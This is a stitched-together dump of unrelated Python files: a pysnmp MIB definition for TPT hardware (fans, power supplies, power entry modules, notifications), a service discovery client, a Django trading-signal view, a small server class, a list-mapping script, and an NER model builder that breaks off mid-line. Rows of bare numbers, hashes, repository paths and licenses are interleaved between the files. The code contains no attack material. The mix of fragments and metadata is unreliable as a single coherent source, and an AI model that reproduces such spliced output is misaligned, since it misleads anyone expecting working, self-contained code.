fanRunState = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1, 5), HardwareState()).setMaxAccess("readonly") if mibBuilder.loadTexts: fanRunState.setStatus('current') if mibBuilder.loadTexts: fanRunState.setDescription('The high-level hardware state (active, initializing, standby, etc.).') fanQualifier1 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1, 6), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: fanQualifier1.setStatus('current') if mibBuilder.loadTexts: fanQualifier1.setDescription('Further qualification/detail on the high-level hardware state.') fanQualifier2 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1, 7), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: fanQualifier2.setStatus('current') if mibBuilder.loadTexts: fanQualifier2.setDescription('Further qualification/detail on the high-level hardware state.') fanQualifier3 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1, 8), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: fanQualifier3.setStatus('current') if mibBuilder.loadTexts: fanQualifier3.setDescription('Further qualification/detail on the high-level hardware state.') fanQualifier4 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1, 9), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: fanQualifier4.setStatus('current') if mibBuilder.loadTexts: fanQualifier4.setDescription('Further qualification/detail on the high-level hardware state.') fanStartTime = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1, 10), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: fanStartTime.setStatus('current') if mibBuilder.loadTexts: fanStartTime.setDescription('The time (seconds) at which the hardware element was powered up.') fanVendorID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1, 11), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: fanVendorID.setStatus('current') if mibBuilder.loadTexts: fanVendorID.setDescription('The identifying number of the vendor of this hardware.') fanDeviceID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1, 12), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: fanDeviceID.setStatus('current') if mibBuilder.loadTexts: fanDeviceID.setDescription('An identifying number specific to this device.') fanProductID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1, 13), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: fanProductID.setStatus('current') if mibBuilder.loadTexts: fanProductID.setDescription('Versioning and other inventory information for this hardware element.') fanFPGAVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 3, 1, 14), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: fanFPGAVersion.setStatus('current') if mibBuilder.loadTexts: fanFPGAVersion.setDescription('The version of the TPT FPGA chip on this hardware.') hw_psTable = MibTable((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4), ).setLabel("hw-psTable") if mibBuilder.loadTexts: hw_psTable.setStatus('current') if mibBuilder.loadTexts: hw_psTable.setDescription('Table of power supplies on the device.') hw_psEntry = MibTableRow((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1), ).setLabel("hw-psEntry").setIndexNames((0, "TPT-TPA-HARDWARE-MIB", "psSubunit")) if mibBuilder.loadTexts: hw_psEntry.setStatus('current') if mibBuilder.loadTexts: hw_psEntry.setDescription('An entry in the power supply table. Rows cannot be created or deleted.') psSubunit = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1, 1), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: psSubunit.setStatus('current') if mibBuilder.loadTexts: psSubunit.setDescription('Number of power supply sub-unit (0 for controller).') psType = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1, 3), ManagedElementType()).setMaxAccess("readonly") if mibBuilder.loadTexts: psType.setStatus('current') if mibBuilder.loadTexts: psType.setDescription('Type of hardware element -- should always be power-supply or unequip.') psCfgType = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1, 4), ConfigRedundancy()).setMaxAccess("readonly") if mibBuilder.loadTexts: psCfgType.setStatus('current') if mibBuilder.loadTexts: psCfgType.setDescription('The configuration/redundancy of a hardware element.') psRunState = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1, 5), HardwareState()).setMaxAccess("readonly") if mibBuilder.loadTexts: psRunState.setStatus('current') if mibBuilder.loadTexts: psRunState.setDescription('The high-level hardware state (active, initializing, standby, etc.).') psQualifier1 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1, 6), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: psQualifier1.setStatus('current') if mibBuilder.loadTexts: psQualifier1.setDescription('Further qualification/detail on the high-level hardware state.') psQualifier2 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1, 7), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: psQualifier2.setStatus('current') if mibBuilder.loadTexts: psQualifier2.setDescription('Further qualification/detail on the high-level hardware state.') psQualifier3 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1, 8), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: psQualifier3.setStatus('current') if mibBuilder.loadTexts: psQualifier3.setDescription('Further qualification/detail on the high-level hardware state.') psQualifier4 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1, 9), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: psQualifier4.setStatus('current') if mibBuilder.loadTexts: psQualifier4.setDescription('Further qualification/detail on the high-level hardware state.') psStartTime = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1, 10), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: psStartTime.setStatus('current') if mibBuilder.loadTexts: psStartTime.setDescription('The time (seconds) at which the hardware element was powered up.') psVendorID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1, 11), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: psVendorID.setStatus('current') if mibBuilder.loadTexts: psVendorID.setDescription('The identifying number of the vendor of this hardware.') psDeviceID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1, 12), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: psDeviceID.setStatus('current') if mibBuilder.loadTexts: psDeviceID.setDescription('An identifying number specific to this device.') psProductID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1, 13), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: psProductID.setStatus('current') if mibBuilder.loadTexts: psProductID.setDescription('Versioning and other inventory information for this hardware element.') psFPGAVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 4, 1, 14), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: psFPGAVersion.setStatus('current') if mibBuilder.loadTexts: psFPGAVersion.setDescription('The version of the TPT FPGA chip on this hardware.') hw_pemTable = MibTable((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5), ).setLabel("hw-pemTable") if mibBuilder.loadTexts: hw_pemTable.setStatus('current') if mibBuilder.loadTexts: hw_pemTable.setDescription('Table of power entry modules on the device.') hw_pemEntry = MibTableRow((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1), ).setLabel("hw-pemEntry").setIndexNames((0, "TPT-TPA-HARDWARE-MIB", "pemSubunit")) if mibBuilder.loadTexts: hw_pemEntry.setStatus('current') if mibBuilder.loadTexts: hw_pemEntry.setDescription('An entry in the power supply table. Rows cannot be created or deleted.') pemSubunit = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1, 1), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: pemSubunit.setStatus('current') if mibBuilder.loadTexts: pemSubunit.setDescription('Number of power entry module sub-unit (0 for controller).') pemType = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1, 3), ManagedElementType()).setMaxAccess("readonly") if mibBuilder.loadTexts: pemType.setStatus('current') if mibBuilder.loadTexts: pemType.setDescription('Type of hardware element -- should always be pem or unequip.') pemCfgType = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1, 4), ConfigRedundancy()).setMaxAccess("readonly") if mibBuilder.loadTexts: pemCfgType.setStatus('current') if mibBuilder.loadTexts: pemCfgType.setDescription('The configuration/redundancy of a hardware element.') pemRunState = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1, 5), HardwareState()).setMaxAccess("readonly") if mibBuilder.loadTexts: pemRunState.setStatus('current') if mibBuilder.loadTexts: pemRunState.setDescription('The high-level hardware state (active, initializing, standby, etc.).') pemQualifier1 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1, 6), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: pemQualifier1.setStatus('current') if mibBuilder.loadTexts: pemQualifier1.setDescription('Further qualification/detail on the high-level hardware state.') pemQualifier2 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1, 7), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: pemQualifier2.setStatus('current') if mibBuilder.loadTexts: pemQualifier2.setDescription('Further qualification/detail on the high-level hardware state.') pemQualifier3 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1, 8), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: pemQualifier3.setStatus('current') if mibBuilder.loadTexts: pemQualifier3.setDescription('Further qualification/detail on the high-level hardware state.') pemQualifier4 = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1, 9), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: pemQualifier4.setStatus('current') if mibBuilder.loadTexts: pemQualifier4.setDescription('Further qualification/detail on the high-level hardware state.') pemStartTime = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1, 10), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: pemStartTime.setStatus('current') if mibBuilder.loadTexts: pemStartTime.setDescription('The time (seconds) at which the hardware element was powered up.') pemVendorID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1, 11), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: pemVendorID.setStatus('current') if mibBuilder.loadTexts: pemVendorID.setDescription('The identifying number of the vendor of this hardware.') pemDeviceID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1, 12), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: pemDeviceID.setStatus('current') if mibBuilder.loadTexts: pemDeviceID.setDescription('An identifying number specific to this device.') pemProductID = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1, 13), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 32))).setMaxAccess("readonly") if mibBuilder.loadTexts: pemProductID.setStatus('current') if mibBuilder.loadTexts: pemProductID.setDescription('Versioning and other inventory information for this hardware element.') pemFPGAVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 5, 1, 14), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: pemFPGAVersion.setStatus('current') if mibBuilder.loadTexts: pemFPGAVersion.setDescription('The version of the TPT FPGA chip on this hardware.') hw_numSlots = MibScalar((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 6), Unsigned32()).setLabel("hw-numSlots").setMaxAccess("readonly") if mibBuilder.loadTexts: hw_numSlots.setStatus('current') if mibBuilder.loadTexts: hw_numSlots.setDescription('The number of slots for this device.') hw_numFans = MibScalar((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 7), Unsigned32()).setLabel("hw-numFans").setMaxAccess("readonly") if mibBuilder.loadTexts: hw_numFans.setStatus('current') if mibBuilder.loadTexts: hw_numFans.setDescription('The number of fan subunits for this device.') hw_numPowerSupplies = MibScalar((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 8), Unsigned32()).setLabel("hw-numPowerSupplies").setMaxAccess("readonly") if mibBuilder.loadTexts: hw_numPowerSupplies.setStatus('current') if mibBuilder.loadTexts: hw_numPowerSupplies.setDescription('The number of power supply subunits for this device.') hw_numPEMs = MibScalar((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 9), Unsigned32()).setLabel("hw-numPEMs").setMaxAccess("readonly") if mibBuilder.loadTexts: hw_numPEMs.setStatus('current') if mibBuilder.loadTexts: hw_numPEMs.setDescription('The number of PEM subunits for this device.') hw_certificateNumber = MibScalar((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 10), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 30))).setLabel("hw-certificateNumber").setMaxAccess("readonly") if mibBuilder.loadTexts: hw_certificateNumber.setStatus('current') if mibBuilder.loadTexts: hw_certificateNumber.setDescription('The hardware certficate number of the device.') hw_serialNumber = MibScalar((1, 3, 6, 1, 4, 1, 10734, 3, 3, 2, 3, 11), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 30))).setLabel("hw-serialNumber").setMaxAccess("readonly") if mibBuilder.loadTexts: hw_serialNumber.setStatus('current') if mibBuilder.loadTexts: hw_serialNumber.setDescription('The hardware serial number of the device.') tptHardwareNotifyDeviceID = MibScalar((1, 3, 6, 1, 4, 1, 10734, 3, 3, 3, 1, 1), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 40))).setMaxAccess("readonly") if mibBuilder.loadTexts: tptHardwareNotifyDeviceID.setStatus('current') if mibBuilder.loadTexts: tptHardwareNotifyDeviceID.setDescription('The unique identifier of the device sending this notification.') tptHardwareNotifySlot = MibScalar((1, 3, 6, 1, 4, 1, 10734, 3, 3, 3, 1, 2), ExtendedSlot()).setMaxAccess("readonly") if mibBuilder.loadTexts: tptHardwareNotifySlot.setStatus('current') if mibBuilder.loadTexts: tptHardwareNotifySlot.setDescription('The slot of the hardware whose state has changed. If the hardware element is not a board, this value identifies it as a chassis, fan, power supply, PEM, etc.') tptHardwareNotifyPort = MibScalar((1, 3, 6, 1, 4, 1, 10734, 3, 3, 3, 1, 3), Unsigned32()).setMaxAccess("readonly") if mibBuilder.loadTexts: tptHardwareNotifyPort.setStatus('current') if mibBuilder.loadTexts: tptHardwareNotifyPort.setDescription('The port or sub-unit number of the hardware whose state has changed. Zero for a board, chassis, fan controller, power supply, or power entry module.') tptHardwareNotifyMeType = MibScalar((1, 3, 6, 1, 4, 1, 10734, 3, 3, 3, 1, 4), ManagedElementType()).setMaxAccess("readonly") if mibBuilder.loadTexts: tptHardwareNotifyMeType.setStatus('current') if mibBuilder.loadTexts: tptHardwareNotifyMeType.setDescription('The type of the managed element (e.g., backplane, controller, power supply, fan, etc.) whose state has changed.') tptHardwareNotifyCfgType = MibScalar((1, 3, 6, 1, 4, 1, 10734, 3, 3, 3, 1, 5), ConfigRedundancy()).setMaxAccess("readonly") if mibBuilder.loadTexts: tptHardwareNotifyCfgType.setStatus('current') if mibBuilder.loadTexts: tptHardwareNotifyCfgType.setDescription('The configuration/redundancy of the hardware whose state has changed.') tptHardwareNotifyHlState = MibScalar((1, 3, 6, 1, 4, 1, 10734, 3, 3, 3, 1, 6), HardwareState()).setMaxAccess("readonly") if mibBuilder.loadTexts: tptHardwareNotifyHlState.setStatus('current') if mibBuilder.loadTexts: tptHardwareNotifyHlState.setDescription('The high-level hardware state (active, initializing, standby, etc.).') tptHardwareNotifyHlStateQual = MibScalar((1, 3, 6, 1, 4, 1, 10734, 3, 3, 3, 1, 7), HardwareStateQual()).setMaxAccess("readonly") if mibBuilder.loadTexts: tptHardwareNotifyHlStateQual.setStatus('current') if mibBuilder.loadTexts: tptHardwareNotifyHlStateQual.setDescription('Further qualification/detail on the high-level state.') tptHardwareNotify = NotificationType((1, 3, 6, 1, 4, 1, 10734, 3, 3, 3, 0, 7)).setObjects(("TPT-TPA-HARDWARE-MIB", "tptHardwareNotifyDeviceID"), ("TPT-TPA-HARDWARE-MIB", "tptHardwareNotifySlot"), ("TPT-TPA-HARDWARE-MIB", "tptHardwareNotifyPort"), ("TPT-TPA-HARDWARE-MIB", "tptHardwareNotifyMeType"), ("TPT-TPA-HARDWARE-MIB", "tptHardwareNotifyCfgType"), ("TPT-TPA-HARDWARE-MIB", "tptHardwareNotifyHlState"), ("TPT-TPA-HARDWARE-MIB", "tptHardwareNotifyHlStateQual")) if mibBuilder.loadTexts: tptHardwareNotify.setStatus('current') if mibBuilder.loadTexts: tptHardwareNotify.setDescription('Notification: Used to inform the management station of changes in hardware state on the device.') mibBuilder.exportSymbols("TPT-TPA-HARDWARE-MIB", slotVendorID=slotVendorID, hw_pemTable=hw_pemTable, hw_slotTable=hw_slotTable, tptHardwareNotifyPort=tptHardwareNotifyPort, slotInterface=slotInterface, slotNumber=slotNumber, chasQualifier1=chasQualifier1, PYSNMP_MODULE_ID=tpt_tpa_hardware_objs, hw_slotEntry=hw_slotEntry, chasQualifier3=chasQualifier3, hw_fanEntry=hw_fanEntry, tptHardwareNotifySlot=tptHardwareNotifySlot, hw_psEntry=hw_psEntry, chasCfgType=chasCfgType, chasQualifier4=chasQualifier4, psFPGAVersion=psFPGAVersion, fanRunState=fanRunState, LineType=LineType, chasQualifier2=chasQualifier2, hw_fanTable=hw_fanTable, hw_numSlots=hw_numSlots, slotQualifier2=slotQualifier2, fanVendorID=fanVendorID, psSubunit=psSubunit, ConfigRedundancy=ConfigRedundancy, fanType=fanType, DuplexState=DuplexState, slotPhysical=slotPhysical, fanCfgType=fanCfgType, fanProductID=fanProductID, pemCfgType=pemCfgType, pemQualifier2=pemQualifier2, tptHardwareNotifyMeType=tptHardwareNotifyMeType, slotProductID=slotProductID, chasNumber=chasNumber, chasDeviceID=chasDeviceID, pemType=pemType, pemDeviceID=pemDeviceID, hw_psTable=hw_psTable, slotQualifier1=slotQualifier1, tptHardwareNotifyDeviceID=tptHardwareNotifyDeviceID, fanQualifier3=fanQualifier3, slotDeviceID=slotDeviceID, pemVendorID=pemVendorID, psQualifier1=psQualifier1, psQualifier3=psQualifier3, HardwareStateQual=HardwareStateQual, hw_pemEntry=hw_pemEntry, fanQualifier2=fanQualifier2, slotType=slotType, fanFPGAVersion=fanFPGAVersion, chasRunState=chasRunState, pemSubunit=pemSubunit, chasType=chasType, fanStartTime=fanStartTime, fanQualifier4=fanQualifier4, slotDuplexState=slotDuplexState, tptHardwareNotify=tptHardwareNotify, hw_numPEMs=hw_numPEMs, slotQualifier4=slotQualifier4, chasProductID=chasProductID, tptHardwareNotifyHlStateQual=tptHardwareNotifyHlStateQual, hw_serialNumber=hw_serialNumber, pemStartTime=pemStartTime, slotFPGAVersion=slotFPGAVersion, chasVendorID=chasVendorID, pemQualifier4=pemQualifier4, fanQualifier1=fanQualifier1, chasStartTime=chasStartTime, hw_certificateNumber=hw_certificateNumber, psStartTime=psStartTime, pemFPGAVersion=pemFPGAVersion, psDeviceID=psDeviceID, fanSubunit=fanSubunit, slotLineType=slotLineType, slotPort=slotPort, pemQualifier3=pemQualifier3, SfpQualifier=SfpQualifier, tptHardwareNotifyCfgType=tptHardwareNotifyCfgType, psProductID=psProductID, pemProductID=pemProductID, pemQualifier1=pemQualifier1, slotRunState=slotRunState, fanDeviceID=fanDeviceID, ExtendedSlot=ExtendedSlot, psVendorID=psVendorID, psRunState=psRunState, hw_chasEntry=hw_chasEntry, psQualifier4=psQualifier4, HardwareState=HardwareState, ManagedElementType=ManagedElementType, psCfgType=psCfgType, slotSfpQualifier1=slotSfpQualifier1, hw_chasTable=hw_chasTable, psQualifier2=psQualifier2, hw_numFans=hw_numFans, tptHardwareNotifyHlState=tptHardwareNotifyHlState, tpt_tpa_hardware_objs=tpt_tpa_hardware_objs, chasFPGAVersion=chasFPGAVersion, pemRunState=pemRunState, slotQualifier3=slotQualifier3, slotCfgType=slotCfgType, hw_numPowerSupplies=hw_numPowerSupplies, psType=psType, slotSfpQualifier2=slotSfpQualifier2, slotStartTime=slotStartTime)
117.345304
3,129
0.75522
5,560
42,479
5.748741
0.111691
0.073961
0.129431
0.012139
0.591622
0.456246
0.406971
0.390796
0.250446
0.244689
0
0.066993
0.101485
42,479
361
3,130
117.67036
0.770436
0.007863
0
0.028986
0
0.028986
0.300218
0.010609
0
0
0
0
0
1
0
false
0
0.023188
0
0.13913
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c77fa0025823bf2ae7309e1cce75d2544a5d02f5
2,228
py
Python
spring_cloud/commons/client/discovery/discovery_client.py
haribo0915/Spring-Cloud-in-Python
0bcd7093869c797df14428bf2d1b0a779f96e573
[ "Apache-2.0" ]
5
2020-10-06T09:48:23.000Z
2020-10-07T13:19:46.000Z
spring_cloud/commons/client/discovery/discovery_client.py
haribo0915/Spring-Cloud-in-Python
0bcd7093869c797df14428bf2d1b0a779f96e573
[ "Apache-2.0" ]
5
2020-10-05T09:57:01.000Z
2020-10-12T19:52:48.000Z
spring_cloud/commons/client/discovery/discovery_client.py
haribo0915/Spring-Cloud-in-Python
0bcd7093869c797df14428bf2d1b0a779f96e573
[ "Apache-2.0" ]
8
2020-10-05T06:34:49.000Z
2020-10-07T13:19:46.000Z
# -*- coding: utf-8 -*- """ DiscoveryClient is responsible for providing a list of service's instances. There may be many services, for example: 'user-service', 'order-service', 'product-service', and so on. Where each service may have several instances registered (e.g. user-service-1, user-service-2, ...), and the registered instances are called ServiceInstances. """ # standard library from abc import ABC, abstractmethod from typing import List, Set # scip plugin from spring_cloud.commons.client import ServiceInstance, StaticServiceInstance __author__ = "Waterball (johnny850807@gmail.com)" __license__ = "Apache 2.0" class DiscoveryClient(ABC): @abstractmethod def get_instances(self, service_id: str) -> List[ServiceInstance]: """ Gets all ServiceInstances associated with a particular serviceId. :param service_id: (str) The serviceId to query. :return: A List of ServiceInstance. """ pass @property @abstractmethod def services(self) -> List[str]: """ :return: All known service IDs (*str). """ pass def shutdown(self): pass class StaticDiscoveryClient(DiscoveryClient): """ A DiscoveryClient initialized with the services. """ def __init__(self, instances: List[ServiceInstance]): self.__instances = instances def get_instances(self, service_id: str) -> List[ServiceInstance]: return list(filter(lambda s: s.service_id == service_id, self.__instances)) @property def services(self) -> Set[str]: return {s.service_id for s in self.__instances} def static_discovery_client(uri: str, service_id: str, instance_ids: List[str]) -> StaticDiscoveryClient: """ A helper method that helps create a list of instances from the same service. :param uri the uri of every service's :param service_id the service_id of the service :param instance_ids a list of ids (*str) of the instances' Usage: static_discovery_client("url-1", "service-1", ["id-1", "id-2", "id-3"]) """ services = [StaticServiceInstance(uri, service_id, instance_id) for instance_id in instance_ids] return StaticDiscoveryClient(services)
32.289855
105
0.692998
277
2,228
5.429603
0.375451
0.05984
0.018617
0.025266
0.066489
0.066489
0.066489
0.066489
0.066489
0
0
0.009034
0.205117
2,228
68
106
32.764706
0.840203
0.41921
0
0.346154
0
0
0.037543
0.020478
0
0
0
0
0
1
0.269231
false
0.115385
0.115385
0.076923
0.576923
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
c78bee2e31520cadff1a3b9f243b1bb438dee4c0
533
py
Python
algo_trading/signal_detector/views.py
qz-fordham/algo-trading-microservice
8778daeb90250f7c5c0e772c24d4912326850a37
[ "MIT" ]
1
2022-02-12T08:10:27.000Z
2022-02-12T08:10:27.000Z
algo_trading/signal_detector/views.py
qz-fordham/algo-trading-microservice
8778daeb90250f7c5c0e772c24d4912326850a37
[ "MIT" ]
null
null
null
algo_trading/signal_detector/views.py
qz-fordham/algo-trading-microservice
8778daeb90250f7c5c0e772c24d4912326850a37
[ "MIT" ]
1
2022-02-11T03:43:41.000Z
2022-02-11T03:43:41.000Z
import json from django.http import JsonResponse from drf_yasg.utils import swagger_auto_schema from rest_framework.views import APIView from signal_detector.signal_detector_service import get_all_alerts class SignalDetectorView(APIView): """ Signal detector view, returns all available alerts """ @swagger_auto_schema( operation_description='Get all trading signal detected', tags=['Detector', 'Crypto'] ) def get(self, request): return JsonResponse(get_all_alerts(), safe=False)
26.65
66
0.746717
65
533
5.907692
0.6
0.109375
0.088542
0
0
0
0
0
0
0
0
0
0.180113
533
19
67
28.052632
0.878719
0.093809
0
0
0
0
0.09636
0
0
0
0
0
0
1
0.083333
false
0
0.416667
0.083333
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
c793603570ee0c9b67a123b9bfcc2b3906037176
1,116
py
Python
ServerObj.py
grandronlee/server-agent
e83afc6e1a8d29dd482b5e91dfdb0140fcc54150
[ "MIT" ]
null
null
null
ServerObj.py
grandronlee/server-agent
e83afc6e1a8d29dd482b5e91dfdb0140fcc54150
[ "MIT" ]
null
null
null
ServerObj.py
grandronlee/server-agent
e83afc6e1a8d29dd482b5e91dfdb0140fcc54150
[ "MIT" ]
null
null
null
class ServerObj: """Server class""" def __init__(self): self._name = '' self._totalPhysicalMemory = 0 self._freePhysicalMemory = 0 self._disks = [] @property def name(self): return self._name @name.setter def name(self, n): self._name = n @property def os(self): return self._os @os.setter def os(self, o): self._os = o @property def totalPhysicalMemory(self): return self._totalPhysicalMemory @totalPhysicalMemory.setter def totalPhysicalMemory(self, tpm): self._totalPhysicalMemory = tpm @property def freePhysicalMemory(self): return self._freePhysicalMemory @freePhysicalMemory.setter def freePhysicalMemory(self, fpm): self._freePhysicalMemory = fpm @property def disks(self): return self._disks @disks.setter def disks(self, d): self._disks = d
23.744681
45
0.52509
97
1,116
5.85567
0.206186
0.096831
0.123239
0
0
0
0
0
0
0
0
0.002972
0.396953
1,116
47
46
23.744681
0.84101
0.010753
0
0.138889
0
0
0
0
0
0
0
0
0
1
0.305556
false
0
0
0.138889
0.472222
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
c79beeaff6becf6c65161080c9073e9f57ede442
146
py
Python
Mapping.py
aDHIXXx/Shakthi
92147ebed9e35097b1e8c079a7cb365cad16cc82
[ "MIT" ]
null
null
null
Mapping.py
aDHIXXx/Shakthi
92147ebed9e35097b1e8c079a7cb365cad16cc82
[ "MIT" ]
null
null
null
Mapping.py
aDHIXXx/Shakthi
92147ebed9e35097b1e8c079a7cb365cad16cc82
[ "MIT" ]
null
null
null
l,S1,final=[],[],[] S=input('Enter the numbers: ') S1=S.split() for i in S1: l.append(int(i)) final=str("['"+str(l)+"']") print(final)
18.25
31
0.534247
25
146
3.12
0.64
0
0
0
0
0
0
0
0
0
0
0.02459
0.164384
146
7
32
20.857143
0.614754
0
0
0
0
0
0.165468
0
0
0
0
0
0
1
0
false
0
0
0
0
0.142857
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c7a1ae39afb5734f4565228de8a7d9ecfb6f13e8
1,667
py
Python
src/builder.py
fracivilization/distant_ner_using_thesaurus
cebfb2bd950123ce3ef18e501314778cc41de71e
[ "Apache-2.0" ]
null
null
null
src/builder.py
fracivilization/distant_ner_using_thesaurus
cebfb2bd950123ce3ef18e501314778cc41de71e
[ "Apache-2.0" ]
null
null
null
src/builder.py
fracivilization/distant_ner_using_thesaurus
cebfb2bd950123ce3ef18e501314778cc41de71e
[ "Apache-2.0" ]
null
null
null
from src.evaluator import NERTestor from typing import NewType from src.ner_model.abstract_model import NERModel, NERModelConfig, NERModel from src.dataset.utils import DatasetConfig from datasets import DatasetDict, load_dataset from src.ner_model.two_stage import TwoStageConfig, TwoStageModel from datasets import DatasetDict from logging import getLogger from hydra.utils import get_original_cwd from src.ner_model.matcher_model import NERMatcherModel import os from src.utils.mlflow import MlflowWriter logger = getLogger(__name__) def dataset_builder(config: DatasetConfig) -> DatasetDict: ner_datasets = None if config.name_or_path in {"conll2003"}: ner_datasets = load_dataset(config.name_or_path) else: ner_datasets = DatasetDict.load_from_disk( os.path.join(get_original_cwd(), config.name_or_path) ) # TODO label namesがdata splitで一貫していることを保証する label_names = None for key, split in ner_datasets.items(): other_label_names = split.features["ner_tags"].feature.names if label_names: assert other_label_names == label_names label_names = other_label_names return ner_datasets def ner_model_builder( config: NERModelConfig, datasets: DatasetDict = None, writer: MlflowWriter = None ) -> NERModel: if config.ner_model_name == "TwoStage": ner_model = TwoStageModel(config, datasets, writer) elif config.ner_model_name == "NERMatcher": ner_model = NERMatcherModel(config) return ner_model def two_stage_model_builder(config: TwoStageConfig, datasets: DatasetDict = None): return TwoStageModel(config, 